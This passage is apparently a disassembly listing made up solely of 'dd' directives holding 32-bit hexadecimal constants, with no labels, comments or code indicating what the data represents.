		dd 5AA9D615h, 0C9D71C41h, 0A51A75EBh, 983B6080h, 15A914D1h
		dd 33E31462h, 3D7D1335h, 0EF2F2149h, 7CBD8E4h, 4E586E16h
		dd 602B18D3h, 2D05FF26h, 8560429Eh, 0D62E15D2h,	5A39A3A3h
		dd 7B3EEF75h, 0E1674670h, 1A4B6D5Bh, 65769601h,	3B02AB11h
		dd 733A312Ch, 0B2966D08h, 87AA99F2h, 60A86FEEh,	35132D74h
		dd 3E498EBFh, 0B0835C8h, 9F27C31Ch, 6F27D485h, 7DAF490h
		dd 6BCCD2BCh, 0D5C7B6EEh, 539D2367h, 0B2C45CCCh, 57D936E0h
		dd 0E31177Ch, 67C39947h, 23A7ED9Fh, 7B6042CAh, 0CA51AE6Eh
		dd 44957EB8h, 2B5E4832h, 0CFAC36D0h, 5A8A70A1h,	0A17FF5B4h
		dd 73E3C6FAh, 3320BB19h, 645DA252h, 5B9BECAAh, 0D63C0578h
		dd 0A10CD452h, 0A67846FEh, 19769C31h, 0F056390Dh, 0E4427CE9h
		dd 0FC64FA55h, 7174C9D5h, 3A2A3C5h, 3EAE8D9Eh, 7E4EBA85h
		dd 96002C63h, 0A83CE03Fh, 59ABE010h, 4FE80336h,	0D14A3DA8h
		dd 1498A0F1h, 4B62D41Bh, 6F68BE89h, 0CBCD931Bh,	9F87CF4Fh
		dd 0E7D3A054h, 228F9923h, 0E1A11B72h, 0E285C102h, 0E4558791h
		dd 0E603C3DEh, 863BE89Ch, 0F3BB5621h, 0C130ADBh, 0BCDC3972h
		dd 0E3BE9630h, 0A0035929h, 761B6B36h, 214D46E7h, 0D0629B9Bh
		dd 975502B2h, 0E9421062h, 5F0666FBh, 33BDB47Dh,	0AB325C8Bh
		dd 4A4847Fh, 0E1A74DACh, 1F5CBF2Dh, 83EC621h, 0AB140B1Eh
		dd 9843E364h, 0A92F749Ah, 1DD5AB4Ch, 0FE810726h, 3045643Eh
		dd 6C837C52h, 0CE35DF0Bh, 0DD9ADFE0h, 0B101A488h, 941667FFh
		dd 554DA427h, 8EC3A568h, 37B6A36Ch, 0D00F9CA8h,	0FF813333h
		dd 48800B1Ah, 0A982EFF1h, 0EFBF3E6Fh, 2248B82Bh, 569CE66Dh
		dd 0AF936C3Ah, 25F678B3h, 0BF6E8A69h, 105599DEh, 0FE59F255h
		dd 51F265CEh, 0FB7F13F5h, 7A19951Bh, 0C1254BEDh, 344AA37Eh
		dd 0B3CABBFDh, 0E034FE39h, 54BD0880h, 0F5065ADBh, 7C6AF9EFh
		dd 323E776h, 0AFDA064Eh, 0CD631B7Ah, 0DCE91CCAh, 0EAED39CBh
		dd 3354314Bh, 0E8F2AFEDh, 3A58800Bh, 0BAE17F1h,	49994E6Ah
		dd 3EB2E6ADh, 0D88B1447h, 288DDFE8h, 0B124B8E3h, 0C51942D4h
		dd 7E49F962h, 0C3116082h, 0E38DABCDh, 0B2AE9B8Dh, 3A9494B9h
		dd 0EBBA93h, 0B3C98AD2h, 0C4E5C16Dh, 5C16B281h,	8E047880h
		dd 0EFE24FBCh, 623B93F3h, 6AFE7DF0h, 8AA33D77h,	0ECC0DB93h
		dd 8A6CD80Eh, 3B093823h, 0F525E52Eh, 213E252Bh,	40A0D5F9h
		dd 2C637B1Ch, 37B81EC7h, 0D1DDC511h, 15AD3EBh, 0B72D6FABh
		dd 2FCF52EDh, 0FD33982h, 0C0C8ACE1h, 38FE1DB2h,	5E44EAAAh
		dd 0A845F8D3h, 5B9AF93h, 0F64800F2h, 0A1425462h, 0E5E474B6h
		dd 72E04FBh, 0F12E009Ah, 0B124DB9Ch, 7FB85381h,	70C799AAh
		dd 0D54FB6BBh, 7CF332D1h, 80540C9h, 823B6C16h, 8F6A1184h
		dd 61255161h, 6AFD6BB5h, 15659FE8h, 2F91BDC3h, 53950648h
		dd 0CBA3D867h, 651EF443h, 9CD7AE88h, 61443EEEh,	0B960F0D7h
		dd 987AEA51h, 8D171644h, 0E5B269F4h, 0B88A4093h, 6F05DBF9h
		dd 176FF41Ah, 0DE354599h, 70DB3502h, 7FBC46F9h,	0E7B5D2D1h
		dd 1CACC9FEh, 2F394ED6h, 0BE2FCC4Ch, 908987C9h,	6F65ACD5h
		dd 1B150F8Ah, 0FF0E01A8h, 9689C03Bh, 8565EB31h,	21731F04h
		dd 0D06F57E3h, 0F9BF1Ah, 34B852A0h, 9DE02C64h, 0DEA0A264h
		dd 8F0BD447h, 12DEE12Ah, 0E899C5D8h, 0DA4DC95h,	5C5D96D0h
		dd 2009978Bh, 0ACF3BC17h, 0AB90867h, 0AAE69089h, 39E98A38h
		dd 0AED2CCA9h, 73027067h, 956A13C1h, 37838933h,	0DC711DF1h
		dd 76BFE79Dh, 8004ACDh,	0F52867DEh, 8B96C5EDh, 1B9FECA3h
		dd 0C4743E87h, 52C42CD9h, 0A01F592Ah, 0BACF0D6Dh, 4E16E67Dh
		dd 0FCAB32CBh, 0E1C4DA08h, 0D234BC5Dh, 0EC310A90h, 0E53BFADEh
		dd 0C31DA5A6h, 0B3D72373h, 0B0C0C0B8h, 167D8EEAh, 29817BB2h
		dd 0A00B5345h, 0DC300C6Bh, 8FFBF814h, 0A6C2F593h, 0ED8332B3h
		dd 69957A41h, 0BBF5DE3Dh, 0B792094h, 35328A9Ch,	0FFA970A9h
		dd 27C2C95Eh, 6A1CB68Bh
		dd 4343E2A0h, 419D743Bh, 79528FA5h, 25D86B7Dh, 0A4CF56Fh
		dd 6BDEFF58h, 1C22AF84h, 9A2C06C7h, 5C66C840h, 998614BAh
		dd 57066ED3h, 8D4AC8FFh, 2B05EC9Ch, 0F563D4C3h,	477FC26Ch
		dd 1ECD300Dh, 7AF1C870h, 3F6CDF01h, 20C627Eh, 0C5E475A3h
		dd 3DF03950h, 9F8C8350h, 0E2A83D61h, 0BDFBA1E5h, 0F04F5767h
		dd 0BCD9E5E4h, 78D9FA84h, 3CF9A329h, 662E8049h,	0F543216Dh
		dd 4C6400EEh, 0A436E5Fh, 0BF7C0CE2h, 0E4A28DFFh, 221EADF8h
		dd 0BAB47F3Bh, 0DC3EBEAFh, 5C1D1FF6h, 0C617A7DCh, 0C955A35Ch
		dd 0CF3D217Fh, 0B54DAB77h, 3A1775B3h, 8F986242h, 0F1A63624h
		dd 0F3D536B1h, 60AF1A40h, 0F617E6F3h, 8317B6C8h, 0B661DC36h
		dd 0BC1B378Fh, 0D55D8725h, 99179E52h, 0C6DBF3A4h, 48B9FA1h
		dd 0AAE7CD37h, 88A3C394h, 0E5E2B134h, 32056441h, 410B8D81h
		dd 0DC19634Bh, 3CCC3355h, 96E5F58Dh, 2DA50A32h,	6D535C09h
		dd 0CFE47B1Eh, 7804BF6Ch, 443F8CC9h, 0F5901B1Ah, 0AB91AD75h
		dd 93CBCEA3h, 6EACEDA1h, 7B232F4Dh, 0B7F57467h,	0CAD45F75h
		dd 5ED502ABh, 0DC9F74CCh, 5FC02A1Fh, 9D3E43D7h,	0DCA2B6E3h
		dd 80C66813h, 0EEC7DB0Fh, 0F50BFD23h, 741C0837h, 59776159h
		dd 0D8BF2506h, 84912F18h, 57806A4Bh, 7BFA5C0Ch,	0B2A3E9C6h
		dd 277F0CD6h, 29ED1211h, 0E8D9ABDEh, 83FBDA38h,	58DA3B13h
		dd 1F41AABh, 45780B1Dh,	6FFD198h, 89ADD7FDh, 0C80C9CDCh
		dd 33C54D1Fh, 8270D2E3h, 5F1C919Ch, 499CD829h, 1FF9D8D0h
		dd 663065ADh, 50657278h, 34BED2EDh, 4C58BDD0h, 92B7030Ch
		dd 0EE86E13Eh, 9DCED67Ch, 182622A2h, 26AF8978h,	0F73FBBA4h
		dd 0ADD6F6EDh, 94AF983h, 0BCC7C801h, 0BD887DCh,	5E5D3DAFh
		dd 0F4004CDBh, 6756CEEh, 0A6AE0BABh, 0B9F03C24h, 224B1BDCh
		dd 4EE438F5h, 0EB878ED5h, 0C3CFD659h, 9FF6F295h, 0E43C151Fh
		dd 7B6E54FAh, 0FC6153A9h, 0F7CBCBBBh, 110680C3h, 0DE746023h
		dd 0D9BBFB25h, 3CAB1802h, 0C3FD9AEAh, 8DD52DC6h, 0FF285D11h
		dd 18EFB09Fh, 0DE04BE68h, 0E4F27C49h, 0CBAE6D18h, 4618FCA0h
		dd 921FEBD6h, 7F5293Eh,	6097293Fh, 11267E1Ch, 12639E9Dh
		dd 0A0D377DEh, 5FAEA27Eh, 0FE4E9B96h, 0D25E5814h, 3BBBDD3Eh
		dd 0F7766E2Fh, 0AC984265h, 0D415DE4Ch, 0B6926333h, 257D208Bh
		dd 365EE909h, 0EBC90828h, 9C784268h, 2F0A79C6h,	2CBB4258h
		dd 8301BF50h, 5550B5C2h, 0C9382753h, 6FAFD69Bh,	5AAB9833h
		dd 0EA5DE56Dh, 0ADE91230h, 85B9CE1Ch, 0D3F2851Bh, 0B14BF759h
		dd 75AB9FBDh, 71FAB33Ah, 0E03FDBC2h, 0E8364E66h, 0D0050D0Fh
		dd 0B67C7ADh, 0C9460E39h, 0C39B69F3h, 1E41C893h, 5ACD0340h
		dd 5C525B2h, 80313123h,	0BDA7CEC6h, 902FA630h, 9AD1FED1h
		dd 0E3A56229h, 0DF1D371Dh, 8DD24572h, 0FCCD4DFCh, 5B0FBF0h
		dd 0DF138566h, 51E26E35h, 0FCD5C008h, 0B3E254F4h, 4C7B0789h
		dd 6B250C00h, 4F9D51F7h, 3C020C70h, 0F8E5AEE5h,	0D0A4E336h
		dd 6A8E75E7h, 0B10DF6D0h, 748E7C58h, 0B12629CBh, 0F26331B4h
		dd 0BE8223D7h, 0A35CC948h, 0F78F3335h, 4308521Dh, 0F6BCD505h
		dd 0D71A688Ah, 33EF1D72h, 0F8DF827Fh, 0DD2ACE1Fh, 0C85E8B81h
		dd 52A0C006h, 1D874CF6h, 0CDE9FD8Ah, 0C544DEF7h, 0D8128874h
		dd 0A7CBC587h, 31F9A95Bh, 8F891912h, 82F0EEF4h,	0F4D7C903h
		dd 0ABF67909h, 46A68527h, 0D2642998h, 775E18C9h, 30C1CD66h
		dd 165E85C9h, 415CB265h, 82C7F5BAh, 57CBE651h, 7CF9E436h
		dd 0A949F3DBh, 0CC1E7F5Dh, 0D08D5DEFh, 683ACC4Bh, 9DE4E4E6h
		dd 3EDA403Ah, 6304EB77h, 0E6614853h, 969923D6h,	527DC2Eh
		dd 0F263D9DFh, 0EA3F8A19h, 613B3C06h, 0CC395B4Ah, 11E29B9Ah
		dd 31D9E315h, 6DA0A82Fh, 3741D18Dh, 0FFE6BAEFh,	9729D299h
		dd 0DD5756D8h, 485D9D9Bh, 0DE86F9A7h, 4A324F5Fh, 13993B0Bh
		dd 4D2A6A6Eh, 0FDDF6729h, 2138E6FFh, 8623F4E7h,	76828B83h
		dd 0AAB72E8h, 2AB769ACh, 755CBB61h, 659789CAh, 2175C00Bh
		dd 53B2A93h, 415C9E3h, 753721F8h, 0DDAFF746h, 0D637545Bh
		dd 38298673h, 0BC747DB1h, 13668307h, 0F115FC9Dh, 7F4D42A1h
		dd 0F0E86E16h, 0A362AEA3h, 0C0DCFED8h, 81482597h, 63CC48B5h
		dd 0BACCFDA2h, 36DDC9B6h, 9E14C18Fh, 24FBBBE3h,	70F037E3h
		dd 718E5633h, 756E624Dh, 7DE0E442h, 17B434D2h, 971079DCh
		dd 884E2BAAh, 0B6408CB7h, 0C3B11D4Ah, 0B76F1244h, 8BACAE81h
		dd 9530EE03h, 0D3095D2Ah, 66953E5Eh, 0B015BE54h, 0EBA2F4A7h
		dd 887FFC5Ch, 0C294BC48h, 28C57E8Bh, 396A6976h,	43253BDCh
		dd 22AC48ECh, 0D79C5913h, 679EA4CAh, 13F6E32Ah,	0CBC68FB2h
		dd 87F18C05h, 0D1E2C33Fh, 0F15537CAh, 443A1ECEh, 6D6B98C9h
		dd 61A1594Ah, 58EB515Ah, 4BEBD0A1h, 5FB0B5B8h, 7850Eh
		dd 0F6FBE33Fh, 2C6C2FBDh, 5730CC47h, 44F6A5CBh,	962ED72Ch
		dd 0BC2E0986h, 0B32396E4h, 63C61F80h, 0CBCE2F30h, 9A8AD303h
		dd 0EC3E0EDCh, 6C8EE8ECh, 2139B691h, 8C9F1806h,	0DE81FC75h
		dd 0C57F9BBFh, 5392E084h, 1AED23B6h, 0A8EC4833h, 8C03EBE5h
		dd 82466BE0h, 0B133EA3Ah, 408687E5h, 411A339Ah,	0ED67316Dh
		dd 680C976Eh, 7FCDC31h,	536198E7h, 0DAB80B50h, 58EB6CDCh
		dd 74723290h, 0EBA21362h, 0ABA6C435h, 847EFBBDh, 69952BD5h
		dd 3C643C5h, 9D057DBFh,	0F5FC5BBEh, 47B079B1h, 0C42FFEEFh
		dd 0D3569467h, 29031458h, 8C4448C2h, 936EB624h,	0B840A07Fh
		dd 0B008028Dh, 0D37C3E41h, 0C07EC0BEh, 35F9A0D1h, 0E27B1105h
		dd 8D98D8E7h, 7EADF997h, 6D8EDBB9h, 0EF9B8DC7h,	6AA5744h
		dd 644F5C89h, 8DAFBD43h, 2A4522C2h, 479C1569h, 0DC5DBF1Eh
		dd 7F06C5ABh, 9368AB6Dh, 6E0D3E94h, 0DBE2B07h, 0D76BB167h
		dd 3D4C476Eh, 0FB325C94h, 5AAEEFECh, 412ED4A7h,	4664C12Fh
		dd 0F23FB7F0h, 21BEF036h, 0DE3C5551h, 78777BD0h, 519AFC03h
		dd 4131932Fh, 6405BC11h, 45C48A68h, 0BC52427Fh,	0A1B71C7Ch
		dd 0D80E5214h, 0A69FC90Eh, 0E493D6E7h, 1DCA0E3h, 7CE5EC97h
		dd 6D17FC7h, 69EFFEBFh,	5E4C4A07h, 9983B3DFh, 9B0DDF9Bh
		dd 0CBFBE543h, 0C54B7CDh, 0E512ED1Eh, 0D02BEA8Dh, 0E9050CA7h
		dd 10604B6Dh, 3088B5AFh, 0D785615Dh, 38E19C84h,	127D33E6h
		dd 5BFC8B84h, 0BF316806h, 478CC2C6h, 925CB579h,	0E0F2C0CDh
		dd 0D548ACCAh, 95DAA1FAh, 0F860E9F4h, 39A76CB3h, 12C43786h
		dd 862D4F0Eh, 9A8136E1h, 25F56CEEh, 7A181AEh, 65293D8h
		dd 7DF5E550h, 340FB4B0h, 0FC44004Ah, 0C6A0AD68h, 3F32BEF7h
		dd 81E43565h, 0C926CAA1h, 0AE9EA739h, 0C7F6DE8Ah, 0D5F2A6A3h
		dd 1825569h, 0B2AAC906h, 0B3E92C15h, 0E1AF3FDEh, 7F18C076h
		dd 8B628AA8h, 34EBFC5h,	3474A6Ch, 0DB59F495h, 98D7FFCDh
		dd 5EB68A47h, 0D55C1C35h, 80081C8Eh, 4E8CE887h,	15D87082h
		dd 68AE8149h, 1D328FD8h, 231E7796h, 770F6382h, 1B6487BEh
		dd 39ACD4E1h, 0CBC835EDh, 327FB8CEh, 0A345798Bh, 901E93E9h
		dd 0ADFB5077h, 9184DBCCh, 15367EF4h, 7B57ECE7h,	0DB61AB4Dh
		dd 4358B865h, 30015687h, 900173EDh, 0CCC9DDB3h,	0D5DB953Bh
		dd 6B060FA8h, 37C56333h, 0F98B61CFh, 33C96A3Dh,	0B0D8D1E6h
		dd 1653C162h, 64E2A3D5h, 0AF02A61Ch, 32E7E49h, 321244F9h
		dd 0E5E93299h, 0B5A6845Ch, 0ABD7B459h, 0F4E91C77h, 0AE472A5Fh
		dd 0D3EB4593h, 0F966A95Fh, 0AB437BA0h, 525D388Bh, 1FCF05Bh
		dd 4FEFB9DFh, 3F711633h
		dd 823C58DCh, 0EEA62139h, 867BE0E6h, 0F19944EEh, 6B8F5B69h
		dd 80EEA21h, 8470ACEBh,	95085BEDh, 5DDCFD79h, 0B334857Dh
		dd 0A9A71C6Ch, 0C1CFC6A5h, 62AD2EC5h, 0D94073BDh, 8C6B371Fh
		dd 1399EF2Ah, 4ED6A2E3h, 0C6D10D5Ch, 77E64E42h,	8E05CCh
		dd 0A3404F6Ah, 29465C8Eh, 0F99F588Eh, 8BF0D14Ah, 8E8B2C87h
		dd 6D53201Dh, 6C68D9ECh, 3F9B0702h, 3EE79974h, 0C1A0CCC3h
		dd 53645488h, 46FA19EFh, 71E7F716h, 430D8801h, 7BAD6777h
		dd 8C720F8Dh, 23BA6142h, 59849F1Dh, 5EC3F60Bh, 0AE6EF562h
		dd 49B52DC0h, 0C5F02A4Fh, 5980040Dh, 0EC7FC0EEh, 6C4F4455h
		dd 2EFAE4F6h, 0D50C26C7h, 15E247A7h, 770C1C45h,	538A699Eh
		dd 5329DC3Ch, 2C615B80h, 9AECE7E5h, 0F3F396CEh,	0A4DBA0D3h
		dd 3F666DFCh, 87FF2543h, 0EA44F8BEh, 56965C71h,	4FCBA238h
		dd 3FBA4153h, 0C83548F7h, 64FAAA21h, 787D7E3Bh,	0C49FD921h
		dd 1354DBD7h, 0D807B886h, 8C7D89D9h, 93683629h,	8589B451h
		dd 0D22B1A5h, 1A62A23Bh, 9161B485h, 0C5729013h,	1284C681h
		dd 87DB87A9h, 29F1B3E2h, 513338AFh, 0A826BBEFh,	0D8EE35B5h
		dd 2626DAEh, 0FC07380Ah, 0C4120C5Bh, 7EC3C957h,	2B6C843h
		dd 0E1665FF0h, 0D0A9D07Ch, 83DC6DC3h, 9E825810h, 77B0D2F7h
		dd 0E35D7AE3h, 0F5386680h, 2E2C9000h, 7A190424h, 0A6A352E0h
		dd 471F96DEh, 4B617B5Ah, 0A8344B16h, 4B834AC3h,	0F9097052h
		dd 2D004C59h, 9B93C5AEh, 2F9A245Dh, 52F6147Ah, 0DB7E4A9Bh
		dd 83BE57ECh, 2FA4D904h, 8A392527h, 0E5A89B14h,	7F63DE0Bh
		dd 12555AFh, 338B781Bh,	0B99B93EEh, 0BBEB935h, 0D5FA4D5h
		dd 679571ECh, 5A3E2DDAh, 8DB21CF0h, 4E1FA912h, 1C8DEB0Fh
		dd 20148553h, 37E7C69Dh, 0A41EC06Dh, 0E26593BEh, 0F830EA63h
		dd 50F27D1Ch, 0B8E2EBF7h, 0D6F8BA5Dh, 0A84BFE37h, 41843586h
		dd 2415078Ah, 0A07A19A0h, 281F4490h, 8B1D25F1h,	14B212E2h
		dd 0CEC3D30h, 191B79D6h, 0B84D461Ah, 0C21E0FD0h, 3E8265A3h
		dd 0DC64577Dh, 0DD580573h, 0BE2F3AD6h, 0A8A9FBF3h, 5A17291Ah
		dd 0ED71FB5h, 97F81EF2h, 469B8AADh, 8175E6ADh, 2301F284h
		dd 19B0C581h, 1C0ADD8Eh, 7DCBB308h, 1DAF08EBh, 2687A4F4h
		dd 0EBE2349Dh, 0E62507DBh, 904429BEh, 904AEB31h, 0C8EC2B30h
		dd 3F97F41Fh, 0EBD38506h, 1464C837h, 5E64D5D1h,	0BBE057A2h
		dd 0BCFEB696h, 0B8D16B2Eh, 0C5A0C474h, 0DCFA5450h, 0C957D245h
		dd 30DFC593h, 6309F3A1h, 0ECBA5E20h, 0B5C00E85h, 3F629DE7h
		dd 8DD45C7Dh, 55887B22h, 0B577626h, 0C7453C69h,	0C6D41585h
		dd 708282CBh, 64EB3E66h, 8AA1F58Ch, 74191EF3h, 0B11869AAh
		dd 3BDC8B4Ch, 39406D6Eh, 0DBF27EB3h, 336E1A8Dh,	0A35C43BEh
		dd 50A642A2h, 5F50DD21h, 915A7A2Bh, 0E8782B09h,	0E37D146Fh
		dd 24B56C75h, 6B9A1617h, 0E6236E13h, 0F08B7450h, 72C01E9Bh
		dd 0C2564550h, 2E3C5C87h, 1642F048h, 7BA35509h,	871C6859h
		dd 9C80E481h, 0E2ECF2D5h, 0D3B41F4Bh, 291DB71h,	93CDB48Dh
		dd 0DDB4B338h, 0ACF1DAC6h, 0E055BEC6h, 2BCE2EBCh, 0AE663B9Eh
		dd 9384A866h, 3D51B398h, 9BA40AADh, 49DC1E18h, 6874DF29h
		dd 0ED84EF08h, 0DCE565CCh, 9B86BDD6h, 0B40098B3h, 0F9DC95F4h
		dd 516562CDh, 0A4B18EABh, 0F4660336h, 0D03AD31Fh, 3148BFE0h
		dd 0B0CC3CE2h, 0B4EF1448h, 294799Ch, 5E7A079h, 0F1514633h
		dd 10EDF31Bh, 44710D93h, 3D2A83D9h, 6F2EB5BFh, 8FA2875Fh
		dd 67117955h, 2AF50A92h, 0D3E947Ah, 63BB3FB2h, 2EDDECF9h
		dd 540764E3h, 9E4F2C14h, 0AF4BEE5Eh, 56D5ED81h,	8F266D59h
		dd 0F4CF6DCFh, 4720B3EAh, 44B5EAF4h, 3AA73864h,	4EB48AEh
		dd 0DBD140F1h, 5236AFAFh, 94ABD14h, 9D867A71h, 0CD79D17Eh
		dd 0D078180Dh, 1A29055Eh, 81BEB359h, 0D2FF7F9Eh, 6B373DA5h
		dd 0F75F0A24h, 0AA56109Eh, 8F6D4C21h, 7A5D8C1Ch, 524B4E2Fh
		dd 0C2731457h, 0F56E7C3Dh, 53CF42F8h, 301C0DB1h, 61928561h
		dd 0E26C9ABAh, 21A36A0h, 0E4E21F98h, 9299C09Fh,	0F7EAE911h
		dd 5C5E46F6h, 40123FD9h, 0FDD11BCFh, 6763F5BAh,	9E062274h
		dd 6FE9365Eh, 72E295AEh, 90A3D93Eh, 649F6513h, 0F41DD7D2h
		dd 17BBA2DBh, 877D1B43h, 99F55A28h, 571C7D7Bh, 75138C0Ah
		dd 0CA56E5BCh, 4E30FE40h, 2AAACC51h, 9241F65Fh,	0A03D493Dh
		dd 431F608Fh, 222E58Bh,	64CC9042h, 0AF8AA555h, 97DD5E81h
		dd 3C914C12h, 61040FB7h, 0BDAA2236h, 0DD645C72h, 0E91EF80Bh
		dd 0DB68D9C1h, 395BE3D9h, 8FCE43D5h, 6AFB0CCBh,	1BE634E1h
		dd 320A5034h, 2D33B063h, 7DD2D802h, 0BFF2DFD3h,	9F391748h
		dd 0B63516A1h, 0ED889D92h, 86F6F46Bh, 7097204Ah, 6FDA3AAEh
		dd 18586059h, 3CA3B04Ch, 0F98514EEh, 2CDAB300h,	0F876E07Fh
		dd 6882EF81h, 0F4CA8708h, 560B2CC6h, 49A096AAh,	0E2E6A1C5h
		dd 62A99B10h, 4A9A6D27h, 0E0F53324h, 1D3B8B48h,	92112FCAh
		dd 6E6458EBh, 0F071DEC2h, 0D53D2904h, 0DD2A244Fh, 9538534Dh
		dd 0CC9F0454h, 95523524h, 4AA31751h, 4B2DB1A3h,	0E308A716h
		dd 428930C5h, 0BD732A97h, 52BE6B4Ch, 6C373847h,	9FEA07F1h
		dd 0DA4655F2h, 5633F613h, 4DDDD106h, 0D27463EBh, 85451CF5h
		dd 41F5BFECh, 6866C4E3h, 4E9A9898h, 4764BEA9h, 2DBBFDE5h
		dd 32F4FBC8h, 5EE10094h, 92810E5Fh, 0F11E959Fh,	3FC35D52h
		dd 36915112h, 0FA90A24Ch, 5F5690E6h, 1EC07B1Bh,	99B1CB1h
		dd 7F9E91A6h, 0BF85E1E2h, 71D0C566h, 1ACE09AFh,	38AF1579h
		dd 8E32173Eh, 7F579654h, 19C7DED0h, 7C673CAFh, 0E61DAA67h
		dd 63CAEACEh, 567DA1B5h, 0D978424Fh, 0E0C2124h,	32386ED9h
		dd 0EF7DCA86h, 5CE90FC5h, 53DE7A8Ch, 0D41DF069h, 91A67D1Fh
		dd 0F305EF52h, 0D0AF6D8Dh, 57ACADEDh, 0D3F5939Ch, 901EA95Bh
		dd 761074D8h, 0F5DBD1C4h, 90C8AE45h, 0EF6F53A5h, 0B86EF25Ch
		dd 0BD9BE098h, 0B1030B95h, 6B21D038h, 453AAD61h, 0F5F8215Eh
		dd 4745215Ah, 548A2567h, 31A9D3D9h, 0FF9AF9D3h,	0EBA3B5EDh
		dd 0E66319A2h, 8CBC15B4h, 8DA95674h, 1A870172h,	0FE49453Ah
		dd 2FE2C8A4h, 611F7F7Bh, 0EE9F4D20h, 8F1E4986h,	5827850Ch
		dd 0D8DF16C9h, 5480112Eh, 0F12DB837h, 46F6A9Bh,	0E436FA3Ah
		dd 340A8B31h, 504C13C8h, 7ACE1B6Dh, 41DEC8F6h, 12EAEDF2h
		dd 0F4AC3121h, 0BC8A8830h, 3D25CBCBh, 3D9BE7ACh, 2F5E4D48h
		dd 267CCAA0h, 240D6DA7h, 0FBBA4F2h, 0B3BC5646h,	718705ADh
		dd 724FBA3h, 75D823B5h,	907DCD29h, 0F8CFFBCDh, 1F190EDh
		dd 67AA522h, 3C30F3A1h,	908DE5C7h, 6A95B885h, 0E603B623h
		dd 2B8E822Eh, 1F2DADD7h, 0FA67D44Eh, 0E8861725h, 65813960h
		dd 0C1796525h, 6A3512F8h, 25879A45h, 0A3C5AB79h, 7CDF3140h
		dd 86E24E8Bh, 1F29DB7Eh, 69AFBA29h, 840C41F5h, 562F5FA5h
		dd 78CD0757h, 9B5CB21h,	4F0C4793h, 6D5A3DA6h, 0BB9140C9h
		dd 0A79F0D88h, 44124A4Bh, 91F23E36h, 0CEC132ECh, 0E5F724C3h
		dd 0CD06F9CAh, 7A280C5Ah, 0C20408D3h, 51A5EFD8h, 0B216F585h
		dd 4B8B6354h, 0EB143DD1h, 5B3FC847h, 16A82681h,	0A2C5A5A7h
		dd 0F09AA0CBh, 0A67E3BFBh, 652C4CF9h, 52326606h, 0D54CCB15h
		dd 0D461B3AEh, 0DF8FF5B7h, 26F3B010h, 4D380118h, 0CF6864C7h
		dd 0BC02DADDh, 0DB98F36Dh, 3C86808Dh, 809BDE49h, 5708EF32h
		dd 0CD673A2Ch, 0CDFD9E26h, 0CD942305h, 6CC3BE6Ah, 18B36759h
		dd 0ACDD8C4Bh, 6BF1DB45h
		dd 5508AAD3h, 542E37FFh, 9EB3F672h, 842E494Eh, 0F8AA159h
		dd 84305599h, 0C3E279E7h, 6B6B5048h, 19575FA6h,	7A0F3DA7h
		dd 0DCDD28B6h, 258EF5ECh, 0F4D11921h, 1199A7DBh, 0EF096F6Ah
		dd 0D6F317CDh, 5DA2D8B7h, 5EC3293Ch, 6681711Fh,	40F10D32h
		dd 7863971Ch, 0FCA3C098h, 0CBF0D6CAh, 0F167EF8Fh, 5AFB0EF2h
		dd 35A1E625h, 82D1AD9Bh, 0BE7FD864h, 0B715066Fh, 36955565h
		dd 0B5B66853h, 0A918D2E6h, 6113C6ADh, 89FE5474h, 57C7198Bh
		dd 985AA49Dh, 0BD3B691Fh, 17982DCBh, 0FE308570h, 38E7118Dh
		dd 0D542E6E4h, 47D7F4D7h, 3F2D6AEFh, 0A5DF729Fh, 3FAD8AC4h
		dd 384F813Eh, 0D0CBDAh,	0BB436939h, 76E5C847h, 0B028DEDCh
		dd 1C5BDE62h, 7053DCD8h, 67B18D48h, 84856FCAh, 2A0542BFh
		dd 16B19F77h, 0E4E0E22Fh, 688D1356h, 25E059ACh,	1147B3FBh
		dd 0C0BBB767h, 37DE69B6h, 91B407EDh, 7CC9EADFh,	6C11B8F9h
		dd 3CA8395Ah, 866900E4h, 0A1194389h, 705AFA62h,	0C4E83E94h
		dd 379E0796h, 0E1E7B1B3h, 80595734h, 4E3B12CFh,	13040FF6h
		dd 70BD74ECh, 9B501A75h, 0A4037845h, 0C7589B92h, 76694884h
		dd 0EC7FD959h, 4305ED4Fh, 8C84C3ACh, 953DAD72h,	0CE757E33h
		dd 676FEEA6h, 0CE33BE67h, 0B24F7D58h, 603E41C6h, 8585CCFFh
		dd 8DDFC391h, 0BC304F9Dh, 0A3E36353h, 8CF327BEh, 7D5378D8h
		dd 3976FCC8h, 65A36D9Bh, 0D11C80CEh, 0BA7C8EC7h, 96FEEB67h
		dd 0C8286367h, 79FBE84Dh, 0CBC2D401h, 0F560448Ch, 7070DA03h
		dd 0A409EDECh, 16546713h, 5E587E02h, 3C3B24CFh,	4D95B2F5h
		dd 0CFD186C8h, 89018125h, 1BE3D441h, 187519D1h,	91120479h
		dd 0EF36692Eh, 0A25CEAD4h, 0EF709001h, 59CB8E7Fh, 1F7B9F27h
		dd 8FB131BDh, 0E68CDB64h, 0C8FE984Dh, 0C88776FCh, 805BBD99h
		dd 4E3E1C7h, 9D1E01B2h,	7F512BEDh, 0BA13C453h, 0FF6F1D5Fh
		dd 1B91DA75h, 0B41349B2h, 0DF3CC49Fh, 4F8A945Ah, 1C6E75D0h
		dd 13E43257h, 1F17683Bh, 0D836FCE9h, 0C57451BBh, 460BF6C7h
		dd 89487CBh, 6D03E581h,	7526974h, 0D2A582DFh, 0E19CF096h
		dd 0B7FA344Ah, 0F091E0E0h, 3B69F5D7h, 217749C8h, 59FB104Fh
		dd 0C866BA00h, 97FA8126h, 600DED48h, 0A1A873B4h, 73F1E061h
		dd 0DE0B228Dh, 5AAA5119h, 0BA43932Ah, 0C1E2E5CBh, 587EC7EFh
		dd 4AA04837h, 7A8011DAh, 942F2C39h, 6BA2CBD8h, 355D5A10h
		dd 0D9281917h, 16EB33C1h, 7E6ED665h, 0C905515Dh, 0C66626F1h
		dd 0AFE3BAEFh, 37ADF0F4h, 230878E1h, 8635D4F8h,	0F0E213CFh
		dd 2270D70Dh, 18DDEF8h,	7C4667Ah, 5B447FD6h, 0CCB1C458h
		dd 6F680B90h, 66A4A396h, 0AF84FCBAh, 0DAB93C1Ch, 0C0A2B85Ah
		dd 0FD5DBBD8h, 1C99AF5Eh, 0AD09753Eh, 0DAFCF38Ah, 67D16FE8h
		dd 0FFFCEDF1h, 0EEB07BC5h, 2C596CCFh, 1F37B169h, 0EEE0FAF0h
		dd 0AA6D69D6h, 0C68DFCFAh, 248AAFCDh, 44FC0450h, 0BD3BD825h
		dd 1D90692Ch, 0D6AA9873h, 0AD217763h, 9E4E14B9h, 21FC846Eh
		dd 4CE1A56Eh, 10C96EFBh, 0DAC68FF6h, 0D337289Fh, 638AEB9Ch
